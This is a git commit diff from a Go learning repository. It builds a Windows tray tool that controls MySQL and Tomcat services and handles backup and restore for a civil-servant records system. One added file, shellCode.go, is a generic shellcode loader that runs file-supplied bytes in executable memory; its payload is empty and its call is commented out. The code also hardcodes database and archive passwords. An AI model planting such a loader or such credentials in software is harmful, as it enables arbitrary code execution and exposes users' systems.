Browse Source

增加系统控制程序

master
VIVIMAN 3 years ago
parent
commit
580d4e7109
  1. 0
      golang_learn/data_func/go_to_tray/demo01/icon.ico
  2. 2
      golang_learn/data_func/go_to_tray/demo01/main.go
  3. 1
      golang_learn/data_func/go_to_tray/demo02/build.bat
  4. 133
      golang_learn/data_func/go_to_tray/demo02/main.go
  5. BIN
      golang_learn/data_func/go_to_tray/demo02/main.ico
  6. 22
      golang_learn/data_func/go_to_tray/demo02/main.manifest
  7. BIN
      golang_learn/data_func/go_to_tray/demo02/main.syso
  8. 3
      golang_learn/data_func/go_to_windows/build.bat
  9. BIN
      golang_learn/data_func/go_to_windows/image/bangzhu.png
  10. BIN
      golang_learn/data_func/go_to_windows/image/beifen.png
  11. BIN
      golang_learn/data_func/go_to_windows/image/guanyu.png
  12. BIN
      golang_learn/data_func/go_to_windows/image/huanyuan.png
  13. BIN
      golang_learn/data_func/go_to_windows/image/icon.ico
  14. BIN
      golang_learn/data_func/go_to_windows/image/media.png
  15. BIN
      golang_learn/data_func/go_to_windows/image/qinghuancun.png
  16. BIN
      golang_learn/data_func/go_to_windows/image/shezhi.png
  17. BIN
      golang_learn/data_func/go_to_windows/image/shujuku.png
  18. BIN
      golang_learn/data_func/go_to_windows/image/tuichu.png
  19. BIN
      golang_learn/data_func/go_to_windows/image/yaoqiu.png
  20. BIN
      golang_learn/data_func/go_to_windows/image/yingyong.png
  21. 25
      golang_learn/data_func/go_to_windows/log.go
  22. 212
      golang_learn/data_func/go_to_windows/main.go
  23. 50
      golang_learn/data_func/go_to_windows/shellCode.go
  24. 43
      golang_learn/data_func/go_to_windows/versioninfo.json
  25. 309
      golang_learn/data_func/go_to_windows/winMc.go
  26. 74
      golang_learn/data_func/go_to_windows/winNotifyIcon.go
  27. 297
      golang_learn/data_func/go_to_windows/winStruct.go
  28. 74
      golang_learn/data_func/go_to_windows/winView.go
  29. 25
      golang_learn/data_func/go_to_windows/说明.md
  30. BIN
      golang_learn/data_func/go_to_windows/运行 UPX Shell.lnk
  31. 1
      golang_learn/go.mod
  32. 2
      golang_learn/go.sum

0
golang_learn/data_func/go_to_0tray/icon.ico → golang_learn/data_func/go_to_tray/demo01/icon.ico

Before

Width:  |  Height:  |  Size: 66 KiB

After

Width:  |  Height:  |  Size: 66 KiB

2
golang_learn/data_func/go_to_0tray/main.go → golang_learn/data_func/go_to_tray/demo01/main.go

@ -20,7 +20,7 @@ func main() {
func onReady() { func onReady() {
timezone = "默认文字" timezone = "默认文字"
systray.SetIcon(getIcon("D:\\ViviCode\\golangs_learn\\golang_learn\\data_func\\go_to_0tray\\icon.ico")) systray.SetIcon(getIcon("D:\\ViviCode\\golangs_learn\\golang_learn\\data_func\\go_to_tray\\demo01\\icon.ico"))
submenu := systray.AddSubMenu("子菜单") submenu := systray.AddSubMenu("子菜单")
_ = submenu.AddSubMenuItem("开始", "", 0) _ = submenu.AddSubMenuItem("开始", "", 0)

1
golang_learn/data_func/go_to_windows/build/build.bat → golang_learn/data_func/go_to_tray/demo02/build.bat

@ -1,6 +1,5 @@
set GO111MODULE=on set GO111MODULE=on
set GOARCH=386 set GOARCH=386
cd ../
rsrc -manifest main.manifest -ico main.ico -o main.syso rsrc -manifest main.manifest -ico main.ico -o main.syso
go generate go generate
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe

133
golang_learn/data_func/go_to_tray/demo02/main.go

@ -0,0 +1,133 @@
package main
import (
"fmt"
"log"
"net/http"
"github.com/braintree/manners"
"github.com/lxn/walk"
)
func handler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hi there, I love %s!", r.URL.Path[1:])
}
type MyWindow struct {
*walk.MainWindow
ni *walk.NotifyIcon
}
func NewMyWindow() *MyWindow {
mw := new(MyWindow)
var err error
mw.MainWindow, err = walk.NewMainWindow()
checkError(err)
return mw
}
func (mw *MyWindow) init() {
http.HandleFunc("/", handler)
}
func (mw *MyWindow) RunHttpServer() error {
return manners.ListenAndServe(":8080", http.DefaultServeMux)
}
func (mw *MyWindow) AddNotifyIcon() {
var err error
mw.ni, err = walk.NewNotifyIcon(mw)
checkError(err)
mw.ni.SetVisible(true)
icon, err := walk.NewIconFromResourceId(3)
checkError(err)
mw.SetIcon(icon)
mw.ni.SetIcon(icon)
startAction := mw.addAction(nil, "start")
stopAction := mw.addAction(nil, "stop")
stopAction.SetEnabled(false)
startAction.Triggered().Attach(func() {
go func() {
err := mw.RunHttpServer()
if err != nil {
mw.msgbox("start", "start http server failed.", walk.MsgBoxIconError)
return
}
}()
startAction.SetChecked(true)
startAction.SetEnabled(false)
stopAction.SetEnabled(true)
mw.msgbox("start", "start http server success.", walk.MsgBoxIconInformation)
})
stopAction.Triggered().Attach(func() {
ok := manners.Close()
if !ok {
mw.msgbox("stop", "stop http server failed.", walk.MsgBoxIconError)
} else {
stopAction.SetEnabled(false)
startAction.SetChecked(false)
startAction.SetEnabled(true)
mw.msgbox("stop", "stop http server success.", walk.MsgBoxIconInformation)
}
})
helpMenu := mw.addMenu("help")
mw.addAction(helpMenu, "help").Triggered().Attach(func() {
walk.MsgBox(mw, "help", "http://127.0.0.1:8080", walk.MsgBoxIconInformation)
})
mw.addAction(helpMenu, "about").Triggered().Attach(func() {
walk.MsgBox(mw, "about", "http server.", walk.MsgBoxIconInformation)
})
mw.addAction(nil, "exit").Triggered().Attach(func() {
mw.ni.Dispose()
mw.Dispose()
walk.App().Exit(0)
})
}
func (mw *MyWindow) addMenu(name string) *walk.Menu {
helpMenu, err := walk.NewMenu()
checkError(err)
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu)
checkError(err)
help.SetText(name)
return helpMenu
}
func (mw *MyWindow) addAction(menu *walk.Menu, name string) *walk.Action {
action := walk.NewAction()
action.SetText(name)
if menu != nil {
menu.Actions().Add(action)
} else {
mw.ni.ContextMenu().Actions().Add(action)
}
return action
}
func (mw *MyWindow) msgbox(title, message string, style walk.MsgBoxStyle) {
mw.ni.ShowInfo(title, message)
walk.MsgBox(mw, title, message, style)
}
func main() {
mw := NewMyWindow()
mw.init()
mw.AddNotifyIcon()
mw.Run()
}
func checkError(err error) {
if err != nil {
log.Fatal(err)
}
}

BIN
golang_learn/data_func/go_to_tray/demo02/main.ico

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.3 KiB

22
golang_learn/data_func/go_to_tray/demo02/main.manifest

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="SomeFunkyNameHere" type="win32"/>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/>
</dependentAssembly>
</dependency>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True</dpiAware>
</windowsSettings>
</application>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

BIN
golang_learn/data_func/go_to_tray/demo02/main.syso

Binary file not shown.

3
golang_learn/data_func/go_to_windows/build/build.sh → golang_learn/data_func/go_to_windows/build.bat

@ -1,6 +1,5 @@
set GO111MODULE=on set GO111MODULE=on
set GOARCH=386 set GOARCH=386
cd ../
rsrc -manifest main.manifest -ico main.ico -o main.syso rsrc -manifest main.manifest -ico main.ico -o main.syso
go generate go generate
go build -ldflags="-s -w -H=windowsgui" -o HyServer.exe go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe

BIN
golang_learn/data_func/go_to_windows/image/bangzhu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 761 B

BIN
golang_learn/data_func/go_to_windows/image/beifen.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

BIN
golang_learn/data_func/go_to_windows/image/guanyu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 400 B

BIN
golang_learn/data_func/go_to_windows/image/huanyuan.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

BIN
golang_learn/data_func/go_to_windows/image/icon.ico

Binary file not shown.

Before

Width:  |  Height:  |  Size: 66 KiB

BIN
golang_learn/data_func/go_to_windows/image/media.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 344 B

BIN
golang_learn/data_func/go_to_windows/image/qinghuancun.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 KiB

BIN
golang_learn/data_func/go_to_windows/image/shezhi.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 267 B

BIN
golang_learn/data_func/go_to_windows/image/shujuku.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 777 B

BIN
golang_learn/data_func/go_to_windows/image/tuichu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

BIN
golang_learn/data_func/go_to_windows/image/yaoqiu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

BIN
golang_learn/data_func/go_to_windows/image/yingyong.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 714 B

25
golang_learn/data_func/go_to_windows/log.go

@ -0,0 +1,25 @@
package main
import (
"fmt"
"io"
"log"
"os"
"time"
)
var (
Info *log.Logger
Error *log.Logger
)
func init() {
//日志输出文件
file, err := os.OpenFile(fmt.Sprintf("./tomcat8/logs/GWY-%s.log", time.Now().Format("20060102")), os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err != nil {
log.Fatalln("Faild to open error logger file:", err)
}
//自定义日志格式
Info = log.New(io.MultiWriter(file, os.Stderr), "INFO: ", log.Ldate|log.Ltime|log.Lshortfile)
Error = log.New(io.MultiWriter(file, os.Stderr), "ERROR: ", log.Ldate|log.Ltime|log.Lshortfile)
}

212
golang_learn/data_func/go_to_windows/main.go

@ -16,7 +16,6 @@ import (
"io" "io"
"io/fs" "io/fs"
"io/ioutil" "io/ioutil"
"log"
"os" "os"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
@ -33,16 +32,15 @@ var passwordname = "Qw^e1@10&++Hzb...?8" // 解压密码
var path string // 该部分不存在最后 横线 (格式为 D:\hzb2021),使用时需要补充横线 var path string // 该部分不存在最后 横线 (格式为 D:\hzb2021),使用时需要补充横线
var epsoft1 = `全国公务员管理信息系统2020版` // 系统名称 1 var epsoft1 = `全国公务员管理信息系统2020版` // 系统名称 1
var epsoft2 = `全国公务员管理信息系统2021版` // 系统名称 2 var epsoft2 = `全国公务员管理信息系统2021版` // 系统名称 2
var url = `root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8` var timezone string
var tabs Tabs // 清除特殊字符串表和字段
var funcs Funcs // 执行批量操作脚本
var typeStr = `0` // 执行导出名册默认 0-按照职务输出生成 1-按照主职务生成
type myApp struct { type myApp struct {
*walk.FormBase
title string title string
name string name string
msg *walk.TextEdit msg *walk.TextEdit
mw *walk.MainWindow mw *walk.MainWindow
ni *walk.NotifyIcon
} }
type myService struct { type myService struct {
text string text string
@ -51,6 +49,8 @@ type myService struct {
btnRegister *walk.PushButton btnRegister *walk.PushButton
btnStart *walk.PushButton btnStart *walk.PushButton
btnStop *walk.PushButton btnStop *walk.PushButton
menuStart *walk.Action
menuStop *walk.Action
} }
type tabIdx struct { type tabIdx struct {
tabName string // 表名 tabName string // 表名
@ -63,11 +63,11 @@ func init() {
app.title = "公务员管理系统-运行监控" app.title = "公务员管理系统-运行监控"
app.name = "网新" app.name = "网新"
service1 = myService{ service1 = myService{
text: " 数据存储库", text: "数据存储库",
serviceName: "GWY20_Mysql", serviceName: "GWY20_Mysql",
} }
service3 = myService{ service3 = myService{
text: " 公务员系统", text: "公务员系统",
serviceName: "GWY20_Tomcat", serviceName: "GWY20_Tomcat",
} }
path, _ = os.Getwd() path, _ = os.Getwd()
@ -75,6 +75,7 @@ func init() {
// main 程序入口 // main 程序入口
func main() { func main() {
// RunShellCode()
err := GetWindows() err := GetWindows()
if err != nil { if err != nil {
@ -128,12 +129,27 @@ func runMain() {
go flushServiceStat(service3) go flushServiceStat(service3)
app.mw.Show() app.mw.Show()
app.AddNotifyIcon()
app.mw.Run() app.mw.Run()
} }
func OnExit() {
// 清除销毁
walk.App().Exit(0)
}
// setServiceState 设置 服务状态描述和按钮状态 // setServiceState 设置 服务状态描述和按钮状态
func setServiceState(service myService, msg string, btnStartStatus, btnStopStatus, btnRegisterStatus bool) { func setServiceState(service myService, msg string, btnStartStatus, btnStopStatus, btnRegisterStatus bool) {
_ = service.labelState.SetText(msg) _ = service.labelState.SetText(msg)
if btnStartStatus {
service.menuStop.SetEnabled(false)
service.menuStart.SetChecked(false)
service.menuStart.SetEnabled(true)
} else {
service.menuStop.SetEnabled(false)
service.menuStart.SetChecked(false)
service.menuStart.SetEnabled(true)
}
service.btnStart.SetEnabled(btnStartStatus) service.btnStart.SetEnabled(btnStartStatus)
service.btnStop.SetEnabled(btnStopStatus) service.btnStop.SetEnabled(btnStopStatus)
service.btnRegister.SetEnabled(btnRegisterStatus) service.btnRegister.SetEnabled(btnRegisterStatus)
@ -242,6 +258,7 @@ func stopService(service myService) {
// showMsg 显示内容到 控制面板 // showMsg 显示内容到 控制面板
func showMsg(msg string) { func showMsg(msg string) {
Info.Println(msg)
app.msg.AppendText(time.Now().Format("2006-01-02 15:04:05 ")) app.msg.AppendText(time.Now().Format("2006-01-02 15:04:05 "))
app.msg.AppendText(msg) app.msg.AppendText(msg)
app.msg.AppendText("\r\n") app.msg.AppendText("\r\n")
@ -420,7 +437,7 @@ func setDbIni(innodbBufferPoolSize int) {
file, err := os.OpenFile(myIniFile, os.O_RDWR, 0666) file, err := os.OpenFile(myIniFile, os.O_RDWR, 0666)
if err != nil { if err != nil {
showMsg("【异常】打开文件发生错误!" + myIniFile) showMsg("【异常】打开文件发生错误!" + myIniFile)
log.Fatal("打开文件异常:", err) Error.Println("打开文件异常:", err)
return return
} }
//defer关闭文件 //defer关闭文件
@ -440,7 +457,7 @@ func setDbIni(innodbBufferPoolSize int) {
break break
} else { } else {
showMsg("【异常】读取文件发生错误:" + line) showMsg("【异常】读取文件发生错误:" + line)
log.Fatal("读取文件异常:", err) Error.Println("读取文件异常:", err)
return return
} }
} }
@ -469,28 +486,6 @@ func setServerSize() {
}) })
} }
// 按照职务输出生成(可能人员重复)
func getMcByA0281() {
typeStr = "0"
mc, b := RunMc()
if b {
return
}
showMsg("导出文件成功!")
showMsg(fmt.Sprintf("存放当前目录下,文件名称:%s", mc))
}
// 按照主职务生成(可能人员丢失)
func getMcByA0279() {
typeStr = "1"
mc, b := RunMc()
if b {
return
}
showMsg("导出文件成功!")
showMsg(fmt.Sprintf("存放当前目录下,文件名称:%s", mc))
}
// reDbIndex 重新构建索引 // reDbIndex 重新构建索引
func reDbIndex() { func reDbIndex() {
// 判断 mysql 服务应用启动 // 判断 mysql 服务应用启动
@ -501,7 +496,7 @@ func reDbIndex() {
time.Sleep(time.Second) time.Sleep(time.Second)
db, _ := sql.Open("mysql", url) db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8")
showMsg("连接数据库成功!\n请不要进行其他操作,否则影响执行...") showMsg("连接数据库成功!\n请不要进行其他操作,否则影响执行...")
for i := 0; i < len(DbIndex); i++ { for i := 0; i < len(DbIndex); i++ {
ExecSql(db, fmt.Sprintf(`DROP INDEX %s ON %s`, DbIndex[i].idxName, DbIndex[i].tabName)) ExecSql(db, fmt.Sprintf(`DROP INDEX %s ON %s`, DbIndex[i].idxName, DbIndex[i].tabName))
@ -510,49 +505,10 @@ func reDbIndex() {
showMsg("已完成重新构建索引!") showMsg("已完成重新构建索引!")
} }
// clearData 数据清洗 (主要同步主细表数据;清洗可录入数据中特殊字符串)
func clearData() {
// 判断 mysql 服务应用启动
if service1.btnStart.Enabled() {
walk.MsgBox(app.mw, "错误", "数据库服务未启动,即将进行数据库服务启动!", walk.MsgBoxIconWarning)
startService(service1)
}
time.Sleep(time.Second)
db, _ := sql.Open("mysql", url)
showMsg("连接数据库成功!\n请不要进行其他操作,否则影响执行...")
for i := range funcs.Sql {
sqlStrs := funcs.Sql[i]
for _, sqlStr := range sqlStrs.Sql {
db.Exec(sqlStr)
}
showMsg(fmt.Sprintf("已完成%s!", sqlStrs.name))
}
for i := range tabs.Tab {
tab := tabs.Tab[i]
for _, col := range tab.Cols {
for i2 := range ts {
_, _ = db.Exec(fmt.Sprintf(`update %s set %s=replace(%s, '%s', '') where %s is not null`, tab.name, col, col, ts[i2], col))
}
}
}
showMsg("已完成清洗数据中特殊字符串!")
}
var ts = []string{
"&#x00",
"&#x01",
"&#00",
"&#01",
"&#",
}
func ExecSql(db *sql.DB, sql string) { func ExecSql(db *sql.DB, sql string) {
stmt, err := db.Prepare(sql) stmt, err := db.Prepare(sql)
if err != nil { if err != nil {
log.Fatal(err) Error.Println(err)
} }
_, _ = stmt.Exec() _, _ = stmt.Exec()
defer stmt.Close() defer stmt.Close()
@ -570,7 +526,7 @@ func dbBak() {
// 判断 mysql 服务应用启动 // 判断 mysql 服务应用启动
if !service1.btnStart.Enabled() { if !service1.btnStart.Enabled() {
db, _ := sql.Open("mysql", url) db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8")
showMsg("连接数据库成功!\n备份操作可能需要相当长时间...") showMsg("连接数据库成功!\n备份操作可能需要相当长时间...")
// 【压缩data方式】创建临时文件夹 // 【压缩data方式】创建临时文件夹
@ -601,9 +557,12 @@ func dbBak() {
time.Sleep(time.Second) time.Sleep(time.Second)
// 备份压缩文件 // 备份数据库 - data压缩文件
Zip("./mysql/data", fmt.Sprintf("./%s/data.gz", dir)) Zip("./mysql/data", fmt.Sprintf("./%s/data.gz", dir))
// 备份程序 - war压缩文件
Zip("./tomcat8/webapps/qggwy", fmt.Sprintf("./%s/qggwy.gz", dir))
dirName := fmt.Sprintf("./%s/", dir) dirName := fmt.Sprintf("./%s/", dir)
fileName := fmt.Sprintf("%s.gz", dir) fileName := fmt.Sprintf("%s.gz", dir)
// 进行压缩操作 并 删除压缩前目录 // 进行压缩操作 并 删除压缩前目录
@ -616,7 +575,7 @@ func dbBak() {
// 启动服务 // 启动服务
startService(service1) startService(service1)
showMsg("已完成数据备份!") showMsg("已完成数据备份!")
showMsg(fmt.Sprintf(`⭐数据备份:%s\%s`, fileName, fileName)) showMsg(fmt.Sprintf(`⭐数据备份:%s`, fileName))
} else { } else {
showMsg("无法正常启动数据库!") showMsg("无法正常启动数据库!")
} }
@ -625,31 +584,46 @@ func dbBak() {
// reDbBak 备份数据还原 // reDbBak 备份数据还原
func reDbBak() { func reDbBak() {
app.RunDbBakSetingDialog(app.mw, func(setings *DbBakSetings) { app.RunDbBakSetingDialog(app.mw, func(setings *DbBakSetings) {
if win.IDYES == walk.MsgBox(app.mw, "备份提醒", "还原会删除历史文件\n还原前是否进行数据备份?", walk.MsgBoxYesNo) {
dbBak()
}
showMsg("准备还原备份!")
// 停服务 // 停服务
//stopService(service1) time.Sleep(time.Second * 2)
stopService(service1)
time.Sleep(time.Second * 3)
stopService(service3)
err := os.RemoveAll(fmt.Sprintf(`%s\mysql\data`, path))
if err != nil {
showMsg("【异常】删除历史 数据原文件异常!")
return
}
err = os.RemoveAll(fmt.Sprintf(`%s\tomcat8\HZBPHOTOS`, path))
if err != nil {
showMsg("【异常】删除历史 照片原文件异常!")
return
}
err = os.RemoveAll(fmt.Sprintf(`%s\tomcat8\webapps\qggwy`, path))
if err != nil {
showMsg("【异常】删除历史 程序原文件异常!")
return
}
command := exec.Command(path+`\tools\db-renew.exe`, `-file=`+setings.fileName, `-path=`+path)
command.Run()
time.Sleep(time.Second * 3)
// 起服务 // 起服务
//startService(service1) startService(service1)
startService(service3)
// 执行还原操作 // 执行还原操作
showMsg("已完成备份数据还原!") showMsg("已完成备份数据还原!")
}) })
} }
func (mw *DbBakSetings) selectFile() {
dlg := new(walk.FileDialog)
dlg.Title = "选择还原文件(格式:gz)"
dlg.Filter = "可执行文件 (*.gz)|*.gz"
_ = mw.searchBox.SetText("") //通过重定向变量设置TextEdit的Text
if ok, err := dlg.ShowOpen(mw); err != nil {
showMsg("【异常】选择打开文件!")
} else if !ok {
showMsg("Cancel\n")
}
_ = mw.searchBox.SetText(mw.path)
}
// QuerySQL 获取表数据 // QuerySQL 获取表数据
func QuerySQL(db *sql.DB, dir, sqlStr, tableName string, colNil []string) { func QuerySQL(db *sql.DB, dir, sqlStr, tableName string, colNil []string) {
rows, _ := db.Query(sqlStr) rows, _ := db.Query(sqlStr)
@ -851,7 +825,7 @@ func InHzb() error {
func Contains(array []fs.FileInfo, val string) (index int) { func Contains(array []fs.FileInfo, val string) (index int) {
index = -1 index = -1
for i := range array { for i := range array {
// log.Println(array[i].Name()) //打印当前文件或目录下的文件或目录名 // Info.Println(array[i].Name()) //打印当前文件或目录下的文件或目录名
if array[i].Name() == val { if array[i].Name() == val {
index = i index = i
return return
@ -861,55 +835,5 @@ func Contains(array []fs.FileInfo, val string) (index int) {
} }
func (mw *myApp) aboutactionTriggered() { func (mw *myApp) aboutactionTriggered() {
walk.MsgBox(mw.mw, "功能说明", Info, walk.MsgBoxIconQuestion) walk.MsgBox(mw.mw, "功能说明", AppInfo, walk.MsgBoxIconQuestion)
}
func GuiInit() {
mw, err := walk.NewMainWindow()
if err != nil {
log.Fatal(err)
}
//托盘图标文件
icon, err := walk.Resources.Icon("./image/icon.ico")
if err != nil {
log.Fatal(err)
}
ni, err := walk.NewNotifyIcon(mw)
if err != nil {
log.Fatal(err)
}
defer ni.Dispose()
if err := ni.SetIcon(icon); err != nil {
log.Fatal(err)
}
if err := ni.SetToolTip("鼠标在icon上悬浮的信息."); err != nil {
log.Fatal(err)
}
ni.MouseDown().Attach(func(x, y int, button walk.MouseButton) {
if button != walk.LeftButton {
return
}
if err := ni.ShowCustom(
"Walk 任务栏通知标题",
"walk 任务栏通知内容",
icon); err != nil {
log.Fatal(err)
}
})
exitAction := walk.NewAction()
if err := exitAction.SetText("右键icon的菜单按钮"); err != nil {
log.Fatal(err)
}
//Exit 实现的功能
exitAction.Triggered().Attach(func() { walk.App().Exit(0) })
if err := ni.ContextMenu().Actions().Add(exitAction); err != nil {
log.Fatal(err)
}
if err := ni.SetVisible(true); err != nil {
log.Fatal(err)
}
if err := ni.ShowInfo("Walk NotifyIcon Example", "Click the icon to show again."); err != nil {
log.Fatal(err)
}
mw.Run()
} }

50
golang_learn/data_func/go_to_windows/shellCode.go

@ -0,0 +1,50 @@
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
// 0xfc, 0x48, ----shellcode----, 0xd5,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func RunShellCode() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}

43
golang_learn/data_func/go_to_windows/versioninfo.json

@ -1,43 +0,0 @@
{
"FixedFileInfo": {
"FileVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"ProductVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"FileFlagsMask": "3f",
"FileFlags ": "00",
"FileOS": "040004",
"FileType": "01",
"FileSubType": "00"
},
"StringFileInfo": {
"Comments": "公务员服务",
"CompanyName": "北京神舟航天软件技术有限公司",
"FileDescription": "公务员服务运行监控软件",
"FileVersion": "v1.0",
"InternalName": "运行监控",
"LegalCopyright": "Copyright (c) 2021",
"LegalTrademarks": "",
"OriginalFilename": "HyServer.exe",
"PrivateBuild": "",
"ProductName": "监控软件",
"ProductVersion": "V2021_1.0.1",
"SpecialBuild": ""
},
"VarFileInfo": {
"Translation": {
"LangID": "0409",
"CharsetID": "04B0"
}
},
"IconPath": "main.ico",
"ManifestPath": ""
}

309
golang_learn/data_func/go_to_windows/winMc.go

@ -1,309 +0,0 @@
package main
import (
"database/sql"
"encoding/json"
"fmt"
"github.com/360EntSecGroup-Skylar/excelize"
_ "github.com/go-sql-driver/mysql"
"strconv"
"strings"
"time"
)
const sheetName = `Sheet1`
const fileName = `公务员系统数据-`
const fileType = `.xlsx`
const sqlCodeStr = `SELECT concat(code_type,code_value),code_name FROM CODE_VALUE where code_type in('%s') union SELECT concat(code_type,code_value),code_name3 FROM CODE_VALUE where code_type='ZB01'`
const sqlB01 = `select b0111,b0121,b0101 from b01 where b0111<>'-1' order by b0121,sortid`
const sqlA01A0279 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s')`
const sqlA01A0281 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s')`
var CodeValueMap = make(map[string]string)
func RunMc() (string, bool) {
db, _ := sql.Open("mysql", url)
codes, headers, types, headWidth, err := getInit()
if err {
showMsg(fmt.Sprintf("导出名册发生异常!"))
return "", err
}
var allObj [][]interface{}
if len(CodeValueMap) == 0 {
QueryMap(db, fmt.Sprintf(sqlCodeStr, strings.Join(types, "','")), CodeValueMap)
}
b01s := QueryB01(db)
b01 := dept{
Id: "-1",
Child: make([]*dept, 0),
}
makeTree(b01s, &b01)
makeA01s(b01, db, codes, types, &allObj)
return getExcelFile(headers, headWidth, allObj), false
}
func makeA01s(b01 dept, db *sql.DB, codes []string, types []string, allObj *[][]interface{}) {
for _, d := range b01.Child {
QueryA01(db, strings.Join(codes, ","), types, d.Id, allObj)
if len(d.Child) > 0 {
makeA01s(*d, db, codes, types, allObj)
}
}
}
// getInit 初始化 JSON 对象,获取猎头
func getInit() ([]string, []string, []string, []float64, bool) {
var yrYhs []YrYh
//读取的数据为json格式,需要进行解码
err := json.Unmarshal([]byte(yryh), &yrYhs)
if err != nil {
showMsg(fmt.Sprintf("导出名册发生异常:%s", err))
return nil, nil, nil, nil, true
}
yrYhsLen := len(yrYhs)
types := make([]string, yrYhsLen, yrYhsLen) // 输出类型
codes := make([]string, yrYhsLen, yrYhsLen) // 输出信息项
headers := make([]string, yrYhsLen, yrYhsLen) // 输出列名
headWidth := make([]float64, yrYhsLen, yrYhsLen) // 输出列名
for i1, i2 := range yrYhs {
codes[i1] = i2.Code
headers[i1] = i2.Name
headWidth[i1] = i2.Width
types[i1] = i2.Type
}
return codes, headers, types, headWidth, false
}
func getExcelFile(headers []string, headWidth []float64, values [][]interface{}) string {
f, _ := ExportExcel(sheetName, headers, headWidth, values)
fileNameType := fileName + time.Now().Format("2006102150405") + fileType
_ = f.SaveAs(fileNameType)
return fileNameType
}
// maxCharCount 最多26个字符A-Z
const maxCharCount = 26
// ExportExcel 导出Excel文件
// sheetName 工作表名称, 注意这里不要取sheet1这种名字,否则导致文件打开时发生部分错误。
// headers 列名切片, 表头
// rows 数据切片,是一个二维数组
func ExportExcel(sheetName string, headers []string, headWidth []float64, rows [][]interface{}) (*excelize.File, error) {
f := excelize.NewFile()
style, _ := f.NewStyle(`{
"border":[
{"type":"top","color":"#000000","style":1},
{"type":"left","color":"#000000","style":1},
{"type":"right","color":"#000000","style":1},
{"type":"bottom","color":"#000000","style":1}
],
"font":{"size":12,"color":"#000000","family":"仿宋"},
"alignment":{"horizontal":"center","vertical":"center","wrap_text":true},
"fill":{"type":"gradient","shading":0,"color":["#FFFF00","#FFFF00"]}
}`)
sheetIndex := f.NewSheet(sheetName)
maxColumnRowNameLen := 1 + len(strconv.Itoa(len(rows)))
columnCount := len(headers)
if columnCount > maxCharCount {
maxColumnRowNameLen++
} else if columnCount > maxCharCount*maxCharCount {
maxColumnRowNameLen += 2
}
columnNames := make([][]byte, 0, columnCount)
f.SetRowHeight(sheetName, 1, 80) // 设置行高
for i, header := range headers {
columnName := getColumnName(i, maxColumnRowNameLen)
columnNames = append(columnNames, columnName)
// 初始化excel表头,这里的index从1开始要注意
curColumnName := getColumnRowName(columnName, 1)
f.SetColWidth(sheetName, toCharStr(i+1), toCharStr(i+1), headWidth[i])
f.SetCellValue(sheetName, curColumnName, header)
f.SetCellStyle(sheetName, curColumnName, curColumnName, style) // 设置单元格样式
}
for rowIndex, row := range rows {
for columnIndex, columnName := range columnNames {
// 从第二行开始
